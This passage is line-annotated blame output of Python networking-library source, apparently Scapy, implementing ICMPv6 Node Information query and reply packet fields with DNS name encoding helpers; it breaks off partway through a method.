2125c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Buggy; always returns the same value during a session
2126c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass NonceField(StrFixedLenField):
2127c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __init__(self, name, default=None):
2128c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        StrFixedLenField.__init__(self, name, default, 8)
2129c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if default is None:
2130c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            self.default = self.randval()
2131c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2132caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon@conf.commands.register
2133c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef computeNIGroupAddr(name):
2134caff8ac253662db28f19cdd7564980fbcf1e4900Guillaume Valadon    """Compute the NI group Address. Can take a FQDN as input parameter"""
2135d07dcda7f6659a1c97e9dc82a97c628f5a88c9f7gpotter    import hashlib
2136c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = name.lower().split(".")[0]
2137c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    record = chr(len(name))+name
2138d07dcda7f6659a1c97e9dc82a97c628f5a88c9f7gpotter    h = hashlib.md5(record.encode("utf8"))
2139c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    h = h.digest()
2140c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    addr = "ff02::2:%2x%2x:%2x%2x" % struct.unpack("BBBB", h[:4])
2141c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    return addr
2142c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2143c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
21440d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# Here is the deal. First, that protocol is a piece of shit. Then, we
2145c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# provide 4 classes for the different kinds of Requests (one for every
2146c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# valid qtype: NOOP, Node Name, IPv6@, IPv4@). They all share the same
21470d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# data field class that is made to be smart by guessing the specific
21480d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# type of value provided :
2149c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#
2150c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# - IPv6 if acceptable for inet_pton(AF_INET6, ): code is set to 0,
21510d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#   if not overridden by user
2152c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# - IPv4 if acceptable for inet_pton(AF_INET,  ): code is set to 2,
21530d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#   if not overridden
21540d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# - Name in the other cases: code is set to 0, if not overridden by user
2155c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#
2156c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Internal storage, is not only the value, but the a pair providing
2157c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# the type and the value (1 is IPv6@, 1 is Name or string, 2 is IPv4@)
2158c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#
21590d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# Note : I merged getfield() and m2i(). m2i() should not be called
21600d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#        directly anyway. Same remark for addfield() and i2m()
2161c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#
21620d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# -- arno
2163c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
21640d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# "The type of information present in the Data field of a query is
21650d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#  declared by the ICMP Code, whereas the type of information in a
2166c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#  Reply is determined by the Qtype"
2167c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2168c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef names2dnsrepr(x):
2169c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
2170c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    Take as input a list of DNS names or a single DNS name
2171c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    and encode it in DNS format (with possible compression)
2172c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    If a string that is already a DNS name in DNS format
2173c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    is passed, it is returned unmodified. Result is a string.
2174c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    !!!  At the moment, compression is not implemented  !!!
2175c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
21760d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
2177d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter    if isinstance(x, str):
21785e8857410015a93f6371459b2f870432ded39b9fgpotter        if x and x[-1] == '\x00': # stupid heuristic
21795e8857410015a93f6371459b2f870432ded39b9fgpotter            return x.encode("utf8")
21805e76be46bd500492cfc492836eefdc9e48ea9fd6gpotter        x = [x]
2181c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2182c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    res = []
2183c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    for n in x:
21845e76be46bd500492cfc492836eefdc9e48ea9fd6gpotter        termin = "\x00"
21855e76be46bd500492cfc492836eefdc9e48ea9fd6gpotter        if n.count('.') == 0: # single-component gets one more
21865e76be46bd500492cfc492836eefdc9e48ea9fd6gpotter            termin += '\x00'
21875e76be46bd500492cfc492836eefdc9e48ea9fd6gpotter        n = "".join(chr(len(y)) + y for y in n.split('.')) + termin
21885e76be46bd500492cfc492836eefdc9e48ea9fd6gpotter        res.append(n.encode("utf8"))
21891186356a1d73fd59b700d8af05e789d0e8899de6gpotter    return b"".join(res)
2190c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2191c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2192c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhildef dnsrepr2names(x):
2193c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
21940d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    Take as input a DNS encoded string (possibly compressed)
2195c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    and returns a list of DNS names contained in it.
2196c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    If provided string is already in printable format
2197c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    (does not end with a null character, a one element list
2198c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    is returned). Result is a list.
2199c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    """
2200d07dcda7f6659a1c97e9dc82a97c628f5a88c9f7gpotter    x = plain_str(x)
2201c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    res = []
2202c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    cur = ""
2203c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    while x:
2204b612d8d9f626eeae3bc7eb2a10c139c4d79f381dgpotter        l = orb(x[0])
2205c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        x = x[1:]
2206c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if l == 0:
2207c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if cur and cur[-1] == '.':
2208c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                cur = cur[:-1]
2209c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            res.append(cur)
2210c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            cur = ""
2211b612d8d9f626eeae3bc7eb2a10c139c4d79f381dgpotter            if x and orb(x[0]) == 0: # single component
2212c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                x = x[1:]
2213c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            continue
2214c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if l & 0xc0: # XXX TODO : work on that -- arno
2215c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            raise Exception("DNS message can't be compressed at this point!")
2216c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        else:
2217c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            cur += x[:l]+"."
2218c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            x = x[l:]
2219c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    return res
2220c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2221c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2222c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass NIQueryDataField(StrField):
2223c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def __init__(self, name, default):
2224c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        StrField.__init__(self, name, default)
2225c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2226c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2h(self, pkt, x):
2227c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if x is None:
2228c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return x
2229c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        t,val = x
2230c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if t == 1:
2231c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            val = dnsrepr2names(val)[0]
2232c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return val
2233c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2234c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def h2i(self, pkt, x):
2235d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter        if x is tuple and isinstance(x[0], int):
2236c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return x
2237c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2238c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        val = None
2239c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        try: # Try IPv6
2240c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            inet_pton(socket.AF_INET6, x)
2241c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            val = (0, x)
2242c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        except:
2243c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            try: # Try IPv4
2244c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                inet_pton(socket.AF_INET, x)
2245c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                val = (2, x)
2246c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            except: # Try DNS
2247c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                if x is None:
2248c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    x = ""
2249c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                x = names2dnsrepr(x)
2250c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                val = (1, x)
2251c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return val
2252c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2253c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2repr(self, pkt, x):
22545e8857410015a93f6371459b2f870432ded39b9fgpotter        x = plain_str(x)
2255c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        t,val = x
2256c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if t == 1: # DNS Name
22570d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz            # we don't use dnsrepr2names() to deal with
2258c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # possible weird data extracted info
2259c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            res = []
2260c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            weird = None
2261c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            while val:
2262b612d8d9f626eeae3bc7eb2a10c139c4d79f381dgpotter                l = orb(val[0])
2263c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                val = val[1:]
2264c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                if l == 0:
2265c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    if (len(res) > 1 and val): # fqdn with data behind
2266c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                        weird = val
2267c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    elif len(val) > 1: # single label with data behind
2268c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                        weird = val[1:]
2269c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    break
2270c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                res.append(val[:l]+".")
2271c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                val = val[l:]
2272c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            tmp = "".join(res)
2273c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if tmp and tmp[-1] == '.':
2274c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                tmp = tmp[:-1]
2275c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return tmp
2276c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return repr(val)
2277c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2278c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def getfield(self, pkt, s):
2279c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        qtype = getattr(pkt, "qtype")
2280c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if qtype == 0: # NOOP
22811186356a1d73fd59b700d8af05e789d0e8899de6gpotter            return s, (0, b"")
2282c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        else:
2283c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            code = getattr(pkt, "code")
2284c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if code == 0:   # IPv6 Addr
2285c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return s[16:], (0, inet_ntop(socket.AF_INET6, s[:16]))
2286c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            elif code == 2: # IPv4 Addr
2287c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return s[4:], (2, inet_ntop(socket.AF_INET, s[:4]))
2288c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            else:           # Name or Unknown
22891186356a1d73fd59b700d8af05e789d0e8899de6gpotter                return b"", (1, s)
2290c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2291c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def addfield(self, pkt, s, val):
2292d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter        if ((isinstance(val, tuple) and val[1] is None) or
2293c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            val is None):
22941186356a1d73fd59b700d8af05e789d0e8899de6gpotter            val = (1, b"")
2295c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        t = val[0]
2296c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if t == 1:
2297c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return s + val[1]
2298c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif t == 0:
2299c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return s + inet_pton(socket.AF_INET6, val[1])
2300c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        else:
2301c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return s + inet_pton(socket.AF_INET, val[1])
2302c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2303c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass NIQueryCodeField(ByteEnumField):
2304c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2m(self, pkt, x):
2305c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if x is None:
2306c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            d = pkt.getfieldval("data")
2307c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if d is None:
2308c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return 1
2309c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            elif d[0] == 0: # IPv6 address
2310c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return 0
2311c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            elif d[0] == 1: # Name
2312c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return 1
2313c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            elif d[0] == 2: # IPv4 address
2314c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return 2
2315c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            else:
2316c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return 1
2317c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return x
23180d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
2319c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2320c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil_niquery_code = {0: "IPv6 Query", 1: "Name Query", 2: "IPv4 Query"}
2321c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2322c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#_niquery_flags = {  2: "All unicast addresses", 4: "IPv4 addresses",
23230d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#                    8: "Link-local addresses", 16: "Site-local addresses",
2324c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#                   32: "Global addresses" }
2325c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2326c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# "This NI type has no defined flags and never has a Data Field". Used
2327c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# to know if the destination is up and implements NI protocol.
23280d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6NIQueryNOOP(_ICMPv6NIHashret, _ICMPv6):
2329c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Node Information Query - NOOP Query"
2330c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    fields_desc = [ ByteEnumField("type", 139, icmp6types),
2331c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    NIQueryCodeField("code", None, _niquery_code),
2332c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    XShortField("cksum", None),
2333c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    ShortEnumField("qtype", 0, icmp6_niqtypes),
233477132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    BitField("unused", 0, 10),
23350d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    FlagsField("flags", 0, 6, "TACLSG"),
233677132687c31a9d3f30c3992c70eb24d1ac0948a7Phil                    NonceField("nonce", None),
2337c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    NIQueryDataField("data", None) ]
2338c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
23390d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6NIQueryName(ICMPv6NIQueryNOOP):
2340c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Node Information Query - IPv6 Name Query"
23410d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz    qtype = 2
2342c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
23430d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# We ask for the IPv6 address of the peer
2344c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass ICMPv6NIQueryIPv6(ICMPv6NIQueryNOOP):
2345c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Node Information Query - IPv6 Address Query"
2346c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    qtype = 3
2347c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    flags = 0x3E
2348c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
23490d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautzclass ICMPv6NIQueryIPv4(ICMPv6NIQueryNOOP):
2350c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    name = "ICMPv6 Node Information Query - IPv4 Address Query"
2351c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    qtype = 4
2352c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
23530d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz_nireply_code = { 0: "Successful Reply",
23540d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                  1: "Response Refusal",
2355c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  3: "Unknown query type" }
2356c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
23570d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz_nireply_flags = {  1: "Reply set incomplete",
23580d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    2: "All unicast addresses",
23590d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    4: "IPv4 addresses",
23600d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                    8: "Link-local addresses",
23610d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz                   16: "Site-local addresses",
2362c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                   32: "Global addresses" }
2363c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2364c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# Internal repr is one of those :
2365c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# (0, "some string") : unknow qtype value are mapped to that one
2366c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# (3, [ (ttl, ip6), ... ])
23670d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz# (4, [ (ttl, ip4), ... ])
2368c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# (2, [ttl, dns_names]) : dns_names is one string that contains
23690d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#     all the DNS names. Internally it is kept ready to be sent
23700d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz#     (undissected). i2repr() decode it for user. This is to
2371c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#     make build after dissection bijective.
2372c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#
2373c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil# I also merged getfield() and m2i(), and addfield() and i2m().
2374c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilclass NIReplyDataField(StrField):
2375c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2376c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def i2h(self, pkt, x):
2377c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if x is None:
2378c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return x
2379c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        t,val = x
2380c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if t == 2:
2381c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            ttl, dnsnames = val
2382c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            val = [ttl] + dnsrepr2names(dnsnames)
2383c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return val
2384c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2385c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def h2i(self, pkt, x):
23860d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz        qtype = 0 # We will decode it as string if not
2387c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                  # overridden through 'qtype' in pkt
2388c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2389c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        # No user hint, let's use 'qtype' value for that purpose
2390d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter        if not isinstance(x, tuple):
2391c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            if pkt is not None:
2392c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                qtype = getattr(pkt, "qtype")
2393c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        else:
2394c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            qtype = x[0]
2395c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            x = x[1]
2396c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2397c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        # From that point on, x is the value (second element of the tuple)
2398c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2399c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if qtype == 2: # DNS name
2400d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter            if isinstance(x, str): # listify the string
2401c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                x = [x]
2402d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter            if isinstance(x, list) and x and not isinstance(x[0], int): # ttl was omitted : use 0
2403c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                x = [0] + x
2404c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            ttl = x[0]
2405c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            names = x[1:]
2406c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return (2, [ttl, names2dnsrepr(names)])
2407c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2408c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif qtype in [3, 4]: # IPv4 or IPv6 addr
2409d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter            if isinstance(x, str):
2410c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                x = [x] # User directly provided an IP, instead of list
2411c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2412c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # List elements are not tuples, user probably
2413c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            # omitted ttl value : we will use 0 instead
2414c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            def addttl(x):
2415d51edef8530fe1e944f13eb65ef863c2d7f04b1dgpotter                if isinstance(x, str):
2416c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                    return (0, x)
2417c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil                return x
2418c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
241905dc450e1f3b4240f3cca288b1208cb7e8949938Guillaume Valadon            return (qtype, [addttl(d) for d in x])
2420c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2421c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        return (qtype, x)
2422c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2423c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
2424c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def addfield(self, pkt, s, val):
2425c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        t,tmp = val
2426c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if tmp is None:
24271186356a1d73fd59b700d8af05e789d0e8899de6gpotter            tmp = b""
2428c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        if t == 2:
2429c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            ttl,dnsstr = tmp
2430c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return s+ struct.pack("!I", ttl) + dnsstr
2431c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif t == 3:
24321186356a1d73fd59b700d8af05e789d0e8899de6gpotter            return s + b"".join(map(lambda x_y1: struct.pack("!I", x_y1[0])+inet_pton(socket.AF_INET6, x_y1[1]), tmp))
2433c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        elif t == 4:
24341186356a1d73fd59b700d8af05e789d0e8899de6gpotter            return s + b"".join(map(lambda x_y2: struct.pack("!I", x_y2[0])+inet_pton(socket.AF_INET, x_y2[1]), tmp))
2435c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        else:
2436c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil            return s + tmp
24370d92fc9fbb58df9cc4bbeb007bf65020fe1aa092Victor Pfautz
2438c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil    def getfield(self, pkt, s):
2439c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil        code = getattr(pkt, "code")
